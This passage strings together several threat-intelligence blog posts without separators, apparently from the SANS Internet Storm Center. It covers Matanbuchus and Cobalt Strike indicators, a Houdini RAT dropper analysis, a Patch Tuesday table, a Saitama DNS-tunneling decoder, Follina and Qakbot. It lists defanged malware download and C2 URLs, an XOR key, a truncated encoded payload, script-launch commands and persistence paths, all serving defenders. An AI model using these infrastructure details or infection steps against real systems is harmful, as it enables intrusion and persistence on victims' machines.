• 7f0bf9496f21050fbc1a3ce5ad35dc300f595c71ad9e73ff5fc5c06b2e35a435  SCAN-446993.zip
• 1bc74dfb2142e4929244c6c7e10415664d4e71a5301eaf8e03cb426fab0876f8  SCAN-511007.zip

SHA256 hashes for .msi packages extracted from the above 7 zip archives:

• face46e6593206867da39e47001f134a00385898a36b8142a21ad54954682666  SCAN-016063.pdf.msi
• e22ec74cd833a85882d5a8e76fa3b35daff0b7390bfbcd6b1ab270fd3741ceea  SCAN-026764.pdf.msi
• 2d8740ea16e9457a358ebea73ad377ff75f7aa9bdf748f0d801f5a261977eda4  SCAN-068589.pdf.msi
• 5dcbffef867b44bbb828cfb4a21c9fb1fa3404b4d8b6f4e8118c62addbf859da  SCAN-231112.pdf.msi
• c6e9477fd41ac9822269486c77d0f5d560ee2f558148ca95cf1de39dea034186  SCAN-287004.pdf.msi
• 4fd90cf681ad260f13d3eb9e38b0f05365d3984e38cfba28f160b0f810ffd4d3  SCAN-446993.pdf.msi
• 7e37d028789ab2b47bcab159da6458da2e8198617b0e7760174e4a0eea07d9c9  SCAN-511007.pdf.msi

32-bit DLL for Matanbuchus:

SHA256 hash: f8cc2cf36e193774f13c9c5f23ab777496dcd7ca588f4f73b45a7a5ffa96145e

• File size: 410,624 bytes
• File location: hxxps://telemetrysystemcollection[.]com/m8YYdu/mCQ2U9/auth.aspx
• File location: C:\Users\[username]\AppData\Local\AdobeFontPack\main.dll
• File location: C:\Users\[username]\AppData\Local\x86\[4 ASCII characters for hex].nls
• File type: PE32 executable (DLL) (console) Intel 80386, for MS Windows
• Run method: regsvr32.exe [filename]

Note: The above DLL was dropped by the .msi package, then it was also retrieved over HTTPS from telemetrysystemcollection[.]com. The HTTPS traffic is probably a way to update the DLL, but in this case, the new file had the same file hash as the original.

Second file sent over HTTPS traffic from telemetrysystemcollection[.]com:

SHA256 hash: 39ec827d24fe68d341cff2a85ef0a7375e9c313064903b92d4c32c7413d84661

• File size: 832,128 bytes
• File location: hxxps://telemetrysystemcollection[.]com/m8YYdu/mCQ2U9/home.aspx
• File type: base64 text

SHA256 hash: a5b06297d86aee3c261df7415a4fa873f38bd5573523178000d89a8d5fd64b9a

• File size: 605,184 bytes
• File description: XOR-ed binary converted from the above base64 text
• File type: data
• Note: This binary XOR-ed with the ASCII string: FuHZu4rQgn3eqLZ6FB48Deybj49xEUCtDTAmF

SHA256 hash: bd68ecd681b844232f050c21c1ea914590351ef64e889d8ef37ea63bd9e2a2ec

• File size: 605,184 bytes
• File type: PE32 executable (DLL) (console) Intel 80386, for MS Windows
• File description: DLL file converted from the above XOR-ed binary
• Note: Unknown entry point for this DLL file

First Cobalt Strike file (ASCII text):

SHA256 hash: 4ee7350176014c7fcb8d33a79dcb1076794a2f86e9b2348f2715ca81f011e799

• File size: 1,668 bytes
• File location: hxxp://144.208.127[.]245/cob23_443.txt
• File type: ASCII text, with very long lines, with no line terminators

SHA256 hash: 7643468adbc1fca4342b7458f0e1dc4ae11c0dde7c06e52fea02c1e057314def

• File size: 834 bytes
• File type: data
• File description: above ASCII text entered into hex editor converted to data binary

Second Cobalt Strike file (32-bit DLL):

SHA256 hash: 6d3259011b9f2abd3b0c3dc5b609ac503392a7d8dea018b78ecd39ec097b3968

• File size: 16,384 bytes
• File location: hxxp://144.208.127[.]245/cob_220_443.dll
• File type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
• Run method: regsvr32.exe [filename]

Infection traffic:

Traffic for Matanbuchus DLL:

• 213.226.114[.]15 port 443 (HTTPS) - telemetrysystemcollection[.]com - GET /m8YYdu/mCQ2U9/auth.aspx

Additional traffic returning base64 text for XOR-encoded binary:

• 213.226.114[.]15 port 443 (HTTPS) - telemetrysystemcollection[.]com - GET /m8YYdu/mCQ2U9/home.aspx

Matanbuchus C2 traffic:

• 213.226.114[.]15 port 48195 (HTTP) - collectiontelemetrysystem[.]com - POST /cAUtfkUDaptk/ZRSeiy/requets/index.php

Traffic caused by Matanbuchus for Cobalt Strike:

• 144.208.127[.]245 port 80 - 144.208[.]127.245 - GET /cob23_443.txt
• 144.208.127[.]245 port 80 - 144.208[.]127.245 - GET /cob_220_443.dll

First Cobalt Strike C2 traffic:

• 185.217.1[.]23 port 443 - hxxps://extic[.]icu/empower/type.tiff
• 185.217.1[.]23 port 443 - hxxps://extic[.]icu/[unknown]

Second Cobalt Strike C2 traffic:

• 190.123.44[.]220 port 443 - hxxps://reykh[.]icu/load/hunt.jpgv
• 190.123.44[.]220 port 443 - hxxps://reykh[.]icu/thaw.txt

Note: The above Cobalt Strike activity did not generate any DNS traffic for the associated .icu domains.

Final Words

14 email examples, a packet capture (pcap) of traffic from an infected Windows host, and the associated malware/artifacts can be found here.

---
Brad Duncan
brad [at] malware-traffic-analysis.net

Houdini is a very old RAT that was discovered years ago. The first mention I found back is from 2013! Houdini is a simple remote access tool written in Visual Basic Script. The script is not very interesting because it is non-obfuscated and has just been adapted to use a new C2 server (%%ip:194.5.97.17%%:4040).

The RAT implements the following commands:

Nothing really fancy here. What’s more interesting is the way it is delivered to the victim. A classic technique is used: a phishing email with a ZIP archive that contains a JavaScript file called “New-Order.js”. The file has a VT score: 22/56 [1].

The JavaScript is pretty well obfuscated but, once you check deeper, you quickly realize that most of the code is not used. The main function is kk():

The technique used is simple: A variable is defined and set to false (example: __p_0015805216). Then code blocks are executed if the variable is true (which of course will never happen).

JavaScript is a very beautiful/ugly language (select your best feeling) that is very permissive with the code. So, another technique is the creation of environment variables that become functions:

When I'm teaching FOR610, I like to say to students that they must find their way and go straight to the point to find what the script being analyzed tries to do. In the case of scripts like this one, usually, there is a payload encoded somewhere. I like to use this simple one-liner to get the longest file of the file:

$ awk '{print length, $0}' New-Order.js | sort -rn|head -1
78396                 return 'dHJ5ewp2YXIgbG9uZ1RleHQxID0gImZpZ2hRWEp5WVhrdWNISnZkRzkwZVhCbExtWnZja1ZoWTJnZ1B5QkJjbkpoZVM1d2NtOTBiM1I1Y0dVdVptOXlSV0ZqYUNBOUlHWjFibU4wYVc5dUlDaGpZV3hzWW1GamF5d2dkR2hwYzBGeVp5a2dldzBLSUNBZ0lIUm9hWE5CY21jZ1BTQjBhR2x6UVhKbk93MEtJQ0FnSUdadmNpQW9kbUZ5SUdrZ1BTQXdPeUJwSUR3Z2RHaHBjeTVzWlc1bmRHZzdJR2tyS3lrZ2V3MEtJQ0FnSUNBZ0lDQmpZV3hzWW1GamF5NWpZV3hzS0hSb2FYTkJjbWNzSUhSb2FYTmJhVjBzSUdrc0lIUm9hWE1wT3cwS0lDQWdJSDBOQ24wZ09pQXdMQ0FoUVhKeVlYa3VjSEp2ZEc5MGVYQmxMbTFoY0NBL0lFRnljbUY1TG5CeWIzUnZkSGx3WlM1dFlYQWdQU0JtZFc1amRHbHZiaUFvWTJGc2JHSmhZMnNzSUhSb2FYTkJjbWNwSUhzTkNpQWdJQ0IwYUdselFYSm5JRDBnZEdocGMwRnlaenNOQ2lBZ0lDQjJZWElnWVhKeVlYa2dQU0JiWFRzTkNpQWdJQ0JtYjNJZ0tIWmhjaUJwSUQwZ01Ec2dhU0E4SUhSb2FYTXViR1Z1WjNSb095QnBLeXNwSUhzTkNpQWdJQ0FnSUNBZ1lYSnlZWGt1Y0hWemFDaGpZV3hzWW1GamF5NWpZV3hzS0hSb2FYTkJjbWNzSUhSb2FYTmJhVjBzSUdrc0lIUm9hWE1wS1RzTkNpQWdJQ0I5RFF... (Remaining characters removed)

Now, you can search for this string and find that it is just returned, again, by a simple function:

This looks like a Base64-encoded string but it won't decode "as is". The attacker added some bad characters that must be replaced first:

The script drops two other samples on the file system:

C:\Windows\System32\wscript.exe" //B "C:\Users\admin\AppData\Roaming\HUAqCSmCDP.js
C:\Windows\System32\wscript.exe" "C:\Users\admin\AppData\Local\Temp\hworm.vbs

An interesting point: Persistence is implemented via two techniques in parallel, via the registry (HKEY_CURRENT_USER\Software\Microsoft\Windoww\CurrentVersion\Run) and the Start menu (C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HUAqCSmCDP.js)

[1] https://www.virustotal.com/gui/file/402a722d58368018ffb78eda78280a3f1e6346dd8996b4e4cd442f30e429a5cf/detection

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

This is a bit different than our usual format. Instead of a blog post, we have a video presentation today: Dustin Lee, another SANS.edu undergraduate intern, put together a brief presentation about terraforming honeypots. In particular, Dustin explains how to install our honeypot with different cloud providers.

Enjoy. Clicking on the image will open the presentation video on YouTube.

Dustin's LinkedIn account: https://www.linkedin.com/in/dustin-lee-14367a7

This month we got patches for 60 vulnerabilities. Of these, 3 are critical, none previously disclosed, and none being exploited according to Microsoft.

The highest CVSS this month (9.8) is associated with a Remote Code Execution (RCE) vulnerability affecting Windows Network File System (CVE-2022-30136). This vulnerability is not exploitable in NFSV2.0 or NFSV3.0. According to the advisory, disabling NFSV4.1 mitigates the vulnerability. The exploitability for this vulnerability is ‘More Likely’. Interestingly, last month (May/2022) we had a similar CVE affecting NFS (CVE-2022-26937) which, on the contrary, affected versions NFSV2.0 and NFSV3.0 and not NFSV4.1.

A second critical vulnerability worth mentioning is an RCE on Windows Hyper-V (CVE-2022-30163). According to the advisory, “to exploit this vulnerability, an attacker could run a specially crafted application on a Hyper-V guest that could cause the Hyper-V host operating system to execute arbitrary code”. The attack complexity is high. The CVSS score for this vulnerability is 8.5.

Although Follina's vulnerability CVE is not listed in June 2022 Patch Tuesday, the vulnerability advisory (CVE-2022-30190) recommends installing the June updates as soon as possible to fix the 0-day. Official Microsoft Guidance on CVE-2022-30190 is available at Guidance for CVE-2022-30190 Microsoft Support Diagnostic Tool Vulnerability – Microsoft Security Response Center.

See my dashboard for a more detailed breakout: https://patchtuesdaydashboard.com.

Description
CVE	Disclosed	Exploited	Exploitability (old versions)	current version	Severity	CVSS Base (AVG)	CVSS Temporal (AVG)
.NET and Visual Studio Information Disclosure Vulnerability
%%cve:2022-30184%%	No	No	Less Likely	Less Likely	Important	5.5	5.0
AV1 Video Extension Remote Code Execution Vulnerability
%%cve:2022-30167%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
%%cve:2022-30193%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Azure Open Management Infrastructure (OMI) Elevation of Privilege Vulnerability
%%cve:2022-29149%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
Azure RTOS GUIX Studio Information Disclosure Vulnerability
%%cve:2022-30180%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
Azure RTOS GUIX Studio Remote Code Execution Vulnerability
%%cve:2022-30177%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2022-30178%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2022-30179%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
Azure Service Fabric Container Elevation of Privilege Vulnerability
%%cve:2022-30137%%	No	No	Less Likely	Less Likely	Important	6.7	6.0
Chromium: CVE-2022-2007 Use after free in WebGPU
%%cve:2022-2007%%	No	No	-	-	-
Chromium: CVE-2022-2008 Out of bounds memory access in WebGL
%%cve:2022-2008%%	No	No	-	-	-
Chromium: CVE-2022-2010 Out of bounds read in compositing
%%cve:2022-2010%%	No	No	-	-	-
Chromium: CVE-2022-2011 Use after free in ANGLE
%%cve:2022-2011%%	No	No	-	-	-
HEVC Video Extensions Remote Code Execution Vulnerability
%%cve:2022-29111%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
%%cve:2022-22018%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
%%cve:2022-30188%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
%%cve:2022-29119%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Intel: CVE-2022-21123 Shared Buffers Data Read (SBDR)
%%cve:2022-21123%%	No	No	Less Likely	Less Likely	Important
Intel: CVE-2022-21125 Shared Buffers Data Sampling (SBDS)
%%cve:2022-21125%%	No	No	Less Likely	Less Likely	Important
Intel: CVE-2022-21127 Special Register Buffer Data Sampling Update (SRBDS Update)
%%cve:2022-21127%%	No	No	Less Likely	Less Likely	Important
Intel: CVE-2022-21166 Device Register Partial Write (DRPW)
%%cve:2022-21166%%	No	No	Less Likely	Less Likely	Important
Kerberos AppContainer Security Feature Bypass Vulnerability
%%cve:2022-30164%%	No	No	Less Likely	Less Likely	Important	8.4	7.3
Local Security Authority Subsystem Service Elevation of Privilege Vulnerability
%%cve:2022-30166%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability
%%cve:2022-22021%%	No	No	Less Likely	Less Likely	Moderate	8.3	7.2
Microsoft Excel Remote Code Execution Vulnerability
%%cve:2022-30173%%	No	No	Unlikely	Unlikely	Important	7.8	6.8
Microsoft File Server Shadow Copy Agent Service (RVSS) Elevation of Privilege Vulnerability
%%cve:2022-30154%%	No	No	Less Likely	Less Likely	Important	5.3	4.6
Microsoft Guidance on Intel Processor MMIO Stale Data Vulnerabilities
ADV220002	No	No	Less Likely	Less Likely
Microsoft Office Information Disclosure Vulnerability
%%cve:2022-30159%%	No	No	Less Likely	Less Likely	Important	5.5	4.8
%%cve:2022-30171%%	No	No	Less Likely	Less Likely	Important	5.5	4.8
%%cve:2022-30172%%	No	No	Less Likely	Less Likely	Important	5.5	4.8
Microsoft Office Remote Code Execution Vulnerability
%%cve:2022-30174%%	No	No	Less Likely	Less Likely	Important	7.4	6.4
Microsoft Photos App Remote Code Execution Vulnerability
%%cve:2022-30168%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Microsoft SQL Server Remote Code Execution Vulnerability
%%cve:2022-29143%%	No	No	Less Likely	Less Likely	Important	7.5	6.5
Microsoft SharePoint Server Remote Code Execution Vulnerability
%%cve:2022-30157%%	No	No	Less Likely	Less Likely	Important	8.8	7.7
%%cve:2022-30158%%	No	No	Unlikely	Unlikely	Important	8.8	7.7
Windows Advanced Local Procedure Call Elevation of Privilege Vulnerability
%%cve:2022-30160%%	No	No	More Likely	More Likely	Important	7.8	6.8
Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability
%%cve:2022-30151%%	No	No	Less Likely	Less Likely	Important	7.0	6.1
Windows Autopilot Device Management and Enrollment Client Spoofing Vulnerability
%%cve:2022-30189%%	No	No	Less Likely	Less Likely	Important	6.5	5.9
Windows Container Isolation FS Filter Driver Elevation of Privilege Vulnerability
%%cve:2022-30131%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Windows Container Manager Service Elevation of Privilege Vulnerability
%%cve:2022-30132%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Windows Defender Remote Credential Guard Elevation of Privilege Vulnerability
%%cve:2022-30150%%	No	No	Less Likely	Less Likely	Important	7.5	6.5
Windows Desired State Configuration (DSC) Information Disclosure Vulnerability
%%cve:2022-30148%%	No	No	Less Likely	Less Likely	Important	5.5	4.8
Windows Encrypting File System (EFS) Remote Code Execution Vulnerability
%%cve:2022-30145%%	No	No	Less Likely	Less Likely	Important	7.5	6.5
Windows File History Remote Code Execution Vulnerability
%%cve:2022-30142%%	No	No	Less Likely	Less Likely	Important	7.1	6.2
Windows Hyper-V Remote Code Execution Vulnerability
%%cve:2022-30163%%	No	No	Less Likely	Less Likely	Critical	8.5	7.4
Windows Installer Elevation of Privilege Vulnerability
%%cve:2022-30147%%	No	No	More Likely	More Likely	Important	7.8	6.8
Windows Kerberos Elevation of Privilege Vulnerability
%%cve:2022-30165%%	No	No	Less Likely	Less Likely	Important	8.8	7.7
Windows Kernel Denial of Service Vulnerability
%%cve:2022-30155%%	No	No	Less Likely	Less Likely	Important	5.5	4.8
Windows Kernel Information Disclosure Vulnerability
%%cve:2022-30162%%	No	No	Less Likely	Less Likely	Important	5.5	4.8
Windows Lightweight Directory Access Protocol (LDAP) Remote Code Execution Vulnerability
%%cve:2022-30141%%	No	No	Less Likely	Less Likely	Important	8.1	7.1
%%cve:2022-30143%%	No	No	Less Likely	Less Likely	Important	7.5	6.5
%%cve:2022-30149%%	No	No	Less Likely	Less Likely	Important	7.5	6.5
%%cve:2022-30153%%	No	No	Less Likely	Less Likely	Important	8.8	7.7
%%cve:2022-30161%%	No	No	Less Likely	Less Likely	Important	8.8	7.7
%%cve:2022-30139%%	No	No	Less Likely	Less Likely	Critical	7.5	6.5
%%cve:2022-30146%%	No	No	Less Likely	Less Likely	Important	7.5	6.5
Windows Media Center Elevation of Privilege Vulnerability
%%cve:2022-30135%%	No	No	Less Likely	Less Likely	Important	7.8	6.9
Windows Network Address Translation (NAT) Denial of Service Vulnerability
%%cve:2022-30152%%	No	No	Less Likely	Less Likely	Important	7.5	6.5
Windows Network File System Remote Code Execution Vulnerability
%%cve:2022-30136%%	No	No	More Likely	More Likely	Critical	9.8	8.5
Windows SMB Denial of Service Vulnerability
%%cve:2022-32230%%	No	No	Less Likely	Less Likely	Important
Windows iSCSI Discovery Service Remote Code Execution Vulnerability
%%cve:2022-30140%%	No	No	Less Likely	Less Likely	Important	7.1	6.2

--
Renato Marinho
Morphus Labs| LinkedIn|Twitter

Saitama is a backdoor that uses the DNS protocol to encapsulate its command and control (C2) messages - a technique known as DNS Tunneling (MITRE ATT&CK T1071). Spotted and documented by MalwareBytes in two articles posted last month (How the Saitama backdoor uses DNS tunneling and APT34 targets Jordan Government using new Saitama backdoor), Saitama was used in a phishing e-mail targeted to a government official from Jordan’s foreign ministry on an attack attributed to the Iranian group APT34.

Saitama caught my attention for two reasons: the stealth way the C2 messages are hidden in DNS protocol and the ease of access to malware implementation details by simply decompiling the .Net binary. Those points may increase the potential for other groups to use similar DNS tunneling techniques.

Saitama's DNS tunneling stealth strategy

Command and control (C2) over DNS is not new. It is common for a Victim <-> C2 communication occurs in the following way: data can be exfiltrated or answered from the victim to a C2 encoded in the hostname portion of the FQDN (i.e., oxn009lc7n5887k96c4zfckes6uif.rootdomain.com). In the other rand, commands or additional payloads can be downloaded from the C2 by the victim by querying TXT records to the attacker's controlled DNS server.

Saitama's implementation differs by not using TXT or other records able to store large data to encapsulate orders from the C2 to the victim. Instead, the orders are encapsulated in the IPV4 addresses themselves. For example, to issue the command 'whoami', the server will answer two IP addresses: 70.119.104.111 and 97.109.105.49. The first octet (70) has a special meaning to the Saitama (a command will be issued), and the following octets are the ASCII code of the 'whoami' characters: w=119, h=104, o=111, and so on until i=105. The remaining octet is discarded. Look at the image below the communication between a victim and the C2 by issuing the command 'whoami':

 

Saitama Translator

After analyzing Saitama's code, we developed a simple tool (available at https://github.com/morphuslabs/saitama_translator) capable of translating/decrypting the messages issued by the infected victim to the C2 server (the DNS queries). It may be helpful for those who face Saimanta or variants messages and need to try to discover what data is being sent to the C2.

Usage examples:

1. Passing one FQDN. In this case, the first response from Saitama do C2 after executing the command 'ver' on the infected system:

$ python translate.py vy5xxxxvzz650coacbsf03f2jkviwui9.joexpediagroup.com
agent_id: 114,  msg_type: 1,    msg_offset:0,   msg_size:43,    msg_content:b'9Microsoft W',    request:vy5xxxxvzz650coacbsf03f2jkviwui9.joexpediagroup.com,    count:4749

2. Passing multiple FQDN at once. In this case, all the responses from Saitama to C2 after executing 'ver' command:

$ python translate.py vy5xxxxvzz650coacbsf03f2jkviwui9.joexpediagroup.com oxn009lc7n5887k96c4zfckes6uif.joexpediagroup.com pqxwwk9cyl1upnxwyqwinn0wgzui5.uber-asia.com w7irwrisb5lxwkow81udr.uber-asia.com
agent_id: 114,  msg_type: 1,    msg_offset:0,   msg_size:43,    msg_content:b'9Microsoft W',    request:vy5xxxxvzz650coacbsf03f2jkviwui9.joexpediagroup.com,    count:4749
agent_id: 114,  msg_type: 1,    msg_offset:12,  msg_size:None,  msg_content:b'indows [Vers',    request:oxn009lc7n5887k96c4zfckes6uif.joexpediagroup.com,       count:4750
agent_id: 114,  msg_type: 1,    msg_offset:24,  msg_size:None,  msg_content:b'ion 10.0.183',    request:pqxwwk9cyl1upnxwyqwinn0wgzui5.uber-asia.com,    count:4751
agent_id: 114,  msg_type: 1,    msg_offset:36,  msg_size:None,  msg_content:b'63.418]', request:w7irwrisb5lxwkow81udr.uber-asia.com,    count:4752

Notice that the string "Microsoft Windows [Version 10.0.18363.418]" was sent to the C2 server in four requests.

Saitama sample

e0872958b8d3824089e5e1cfab03d9d98d22b9bcb294463818d721380075a52d

References

https://attack.mitre.org/techniques/T1071/004

https://blog.malwarebytes.com/threat-intelligence/2022/05/how-the-saitama-backdoor-uses-dns-tunnelling/

https://blog.malwarebytes.com/threat-intelligence/2022/05/apt34-targets-jordan-government-using-new-saitama-backdoor/

--
Renato Marinho
Morphus Labs| LinkedIn|Twitter

It is known that a "Follina exploit" RTF maldoc can lead to code execution by being viewed in Explorer's preview pane:

Word will then launch msdt.exe which will ultimately lead to calc being executed in this example:

When Word is not running, an instance is launched by the DCOM Server Process Launcher service, so that it can do the rendering of the document to be displayed in Explorer's preview pane:

During this rendering, msdt.exe is launched.

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com

If you follow Cyentia Institute’s Jay Jacobs via social media you may FIRST ;-) have learned about the Exploit Prediction Scoring System (EPSS) from him, as I did. I quickly learned that FIRST offers an API for the EPSS Model, which immediately piqued my interest. Per FIRST, EPSS provides a fundamentally new capability for efficient, data-driven vulnerability management. While EPSS predicts the probability (threat) of a specific vulnerability being exploited, it can scale to estimate the threat for multiple vulnerabilities on a server, a subnet, mobile device, or at an enterprise level (Jacobs, 2022).
“The (EPSS) is a community-driven effort to combine descriptive information about vulnerabilities (CVEs) with evidence of actual exploitation in-the-wild. By collecting and analyzing these data, EPSS seeks to improve vulnerability prioritization by estimating the likelihood that a vulnerability will be exploited. The EPSS model produces a probability score between 0 and 1 (0% and 100%). The higher the score, the greater the probability that a vulnerability will be exploited (in the next 30 days).” (Jacobs, 2022).
As of February 2022, EPSS version 2 is available; give Jay’s write-up a good read before proceeding. EPSS v2 is preceded by EPSS v1 and CVSS v3. Note the significant increase in model coverage and efficiency per Figure 1.

Figure 1: EPSS Comparison by Effort

Inspired by the work of Jay and Bob Rudis years ago via their excellent Data Driven Security book, I found myself immediately compelled to put to use all I’d learned from said book and create an app for the EPSS API.
It is with pleasure I introduce the initial iteration of EPSScall. EPSScall is a Shiny app built to provide a convenient way to interact with the Exploit Prediction Scoring System (EPSS) API. For your convenience there is a demo instance available via shinyapps.io.
To install locally or run on your own Shiny server, clone the repo, change directory to the directory where you installed the app directory and runApp from RStudio or an R terminal. I do so locally as follows:
setwd("C:/coding/r/apps")
runApp('EPSScall')
Use of EPSS data centers around a few key entities, namely CVE, date, EPSS, and percentile. For the uninitiated, CVE, or Common Vulnerabilities and Exposures, are MITRE’s construct to identify, define, and catalog publicly disclosed cybersecurity vulnerabilities.
EPSScall is a reactive app, and will, in the absence of input, return the entire set of CVEs included in the EPSS dataset. The data are JSON formatted via the API; EPSScall cleans it up and makes it easily human readable. There are some extremely intersting CVEs of late to consider with EPSScall and certain data pivots. As of this writing, CVE-2022-30190, aka Follina, specific to the Microsoft Support Diagnostic Tool (MSDT) was issued on 30 MAY 2022.
The EPSS score as of 09 JUN 2022 was 0.69 per Figure 2.

Figure 2: CVE-2022-30190 as of 09 JUN 2022

But was the score this high earlier? As the vulnerability underwent early analysis, but garnered more and more attention, and was discovered to be under active exploit, the EPSS score changed accordingly. The EPSS timeline view will help you quickly assess the changes, as seen in Figure 3.

Figure 3: CVE-2022-30190 timeline

Between 02 JUN and 09 JUN the EPSS score went from 0.02 to 0.12 to 0.51. to 0.69. A table view is nice but a graph is always preferred as seen via the EPSS Graph view in Figure 4.

Figure 4: CVE-2022-30190 timeline graph

In MAY 2022 we saw two vulnerabilities with CVSS scores of 9.8 out of 10 under active exploitation. These were CVE-2022-22954 for VMWare and CVE-2022-1388 for F5. Refer to Dan Goodin’s Ars Technica article for more insight. Given their high CVSS scores it is easy to assume their EPSS scores might follow suit. They can be queried with a variety of pivots in EVSScall. First, let’s assume an EPSS score of greater than 0.90. Ironically, as of 09 JUN 2022 EPSS results for CVE-2022-22954 and CVE-2022-1388 are returned right next to each other per Figure 5.

Figure 5: CVE-2022-22954 and CVE-2022-1388 EPSS greater than 0.90

CVE-2022-22954 has a score of 0.93 and CVE-2022-1388 has a score of 0.91. You may be curious what the percentile score represents. Per FIRST, “percentiles are a direct transformation from probabilities and provide a measure of an EPSS probability relative to all other scores. That is, the percentile is the proportion of all values less than or equal to the current rank” (Jacobs & Romanosky, 2022).
The percentiles for CVE-2022-22954 and CVE-2022-1388 are, as expected, both greater than 0.99. You can use EPSScall to search by date as well. Focusing now of CVEs with EPSS scores of 0.95 or greater, and percentile of greater than 0.99, I searched using 18 MAY 2022 as the date given is as the publication date for Dan’s article.

Figure 6: CVE-2022-22965 stands out

Interestingly, CVE-2022-22965 jumps right to the top of the pile. What vuln is that you ask? Another recent nightmare, Spring4Shell. Of interest, on 10 MAY the EPSS score was 0.65 but 11 MAY it leapt 30 points to 0.95.

Figure 7: CVE-2022-22965 jumps 30 points

Pure speculation but perhaps this jump was driven by a number of patches being released by a variety of vendors om 10 MAY 2022 and additional attention specific to exploitation in security blogs on 11 MAY.
I hope you find EPSScall useful, perhaps if only to compel you to find ways to incorporate the EPSS API into your workflows.
The premise of EPSS is vital: knowing the likelihood (probability) of a software vulnerability being exploited in the wild may contribute directly to organizational survivability. Make data informed decisions to patch, mitigate, remediate, protect, detect, etc. FIRST also produces a really nice daily report and CSV dump for your convenience, with useful visuals and insights.
Please consider contributing to this project, I’m an absolutely terrible developer, and I’m sure there are numerous better ways to make this app more useful. In particular, I do hope to plot more than one CVE at a time given that the rest of the app processes multiple comma-separated CVEs reasonably well.

Cheers…until next time.

Russ McRee | @holisticinfosec

References:
Jacobs, J. (2022, February 4). The EPSS Model. FIRST. Retrieved June 1, 2022, from https://www.first.org/epss/model
Jacobs, J., & Romanosky, S. (2022, March). Probability, Percentiles, and Binning - How to understand and interpret EPSS Scores. FIRST. Retrieved June 1, 2022, from https://www.first.org/epss/articles/prob_percentile_bins

Introduction

A threat actor designated by Proofpoint as TA570 routinely pushes Qakbot (Qbot) malware. Malicious DLL files used for Qakbot infections contain a tag indicating their specific distribution channel. Qakbot DLL samples tagged "obama" like "obama186" or "obama187" indicate a distribution channel from TA570 that uses thread-hijacked emails. On Tuesday 2022-06-07, Proofpoint and various researchers like @pr0xylife and @k3dg3 reported TA570 Qakbot distribution included Word documents using the CVE-2022-30190 (Follina) exploit (ms-msdt).

Shown above:  Flow chart for Qakbot infections from TA570 on Tuesday 2022-06-07.

This wave of malicious spam ultimately provided two separate methods of Qakbot infection. The first method is one also used by other threat actors, where a disk image contains a Windows shortcut that runs a malicious hidden DLL. The second method is a Word docx file using a CVE-2022-30190 (Follina) exploit.  On Tuesday 2022-06-07, disk images from TA570 pushing obama186-tagged Qakbot used both methods.

I tried running the malicious docx file in my lab environment and different on-line sandboxes; however, I was unable to get a successful infection.

The next day on Wednesday 2022-06-08, obama187-tagged Qakbot from TA570 stopped using the docx file and relied on the Windows shortcut and hidden DLL file.

Shown above:  Flow chart for Qakbot infections from TA570 on Wednesday 2022-06-08.

In addition to other sources, the Internet Storm Center has previously posted diaries about this new attack vector:

• New Microsoft Office Attack Vector via "ms-msdt" Protocol Scheme (CVE-2022-30190)
• First Exploitation of Follina Seen in the Wild
• Analysis Of An "ms-msdt" RTF Maldoc
• ms-msdt" RTF Maldoc Analysis: oledump Plugins

Today's diary examines the Microsoft Word docx file used by TA570 in the Tuesday 2022-06-07 wave of malspam for obama186-tagged Qakbot.

Infection Chain Details

Below is a TA570 thread-hijacked email pushing obama186 Qakbot from Tuesday 2022-06-07.  The email contains an HTML attachment.  The HTML file is approximately 911 kB, and it contains code to convert a base64 sting to a zip archive and present the zip archive as a download.

Shown above:  Screenshot of Thunderbird showing a TA570 email pushing obama186 Qakbot on Tuesday 2022-06-07.

Shown above:  Opening the attached HTML file.

Shown above: Running the HTML file immediately presents a zip download.

The zip archive contains a disk image as shown below.  Double-clicking the disk image in Microsoft Windows will mount the file as a drive. This disk image contains a Windows shortcut, a hidden DLL file for Qakbot, and the docx file with the Follina exploit.

Shown above:  Downloaded zip archive contains a disk image.

Shown above:  Disk image mounted as a DVD drive in Windows 10.

Shown above:  Shortcut target uses rundll32.exe to run the hidden DLL file for Qakbot.

Shown above:  More interesting is the .docx file.

Shown above:  A quick check confirms this is, indeed, a .docx file.

Because this is a .docx file, we can re-name it as a zip archive, extract the contents, and examine them.

Shown above:  Contents of the .docx file after renaming it as a .zip archive.

Examining the .docx File

Based on text found within an XML file found within the .docx archive, this exploit appears to retrieve an HTML file as shown below.

Shown above:  URL found in text of XML file in .docx archive ending in 123.RES.

Shown above:  If the 123.RES file is viewed in Microsoft Edge, it opens the Diagnostics Troubleshooting Wizard.

Shown above:  The diagnostics tool asks for a passkey, which I do not have.

Shown above:  Script near the bottom of 123.RES with base64-encoded text.

Shown above:  Base64 script translated to ASCII text reveals URLs for Qakbot DLL files.

Indicators of Compromise (IOCs)

Names of 11 attachments from TA570 emails on 2022-06-07:

• 03792072_874241.html
• 20755103_822431.html
• 23891652_978954.html
• 55088410_803346.html
• 55448947_903195.html
• 58218799_257561.html
• 65058266_101487.html
• 68101181_048154.html
• 69849517_238275.html
• 71875983_866759.html
• 85873035_409355.html

SHA256 hashes for the above HTML files:

• 568cd2d4b6c33d00d00da0255fd27c351ae0a1eba72a926f3f81021a3ee0ce7b
• 1513769188ac6bf68f87b33ed00555126bc68976c4d4022e040547a8814435dc
• 07df19bfec85932ecac6649c8d49f98bdd3236368bbf2b73d924dbbf5ce7be32
• 208bf25c7b5d16b6ba2f1cb029f55aed14e3f2df75e171d6c25f21ae99fbac92
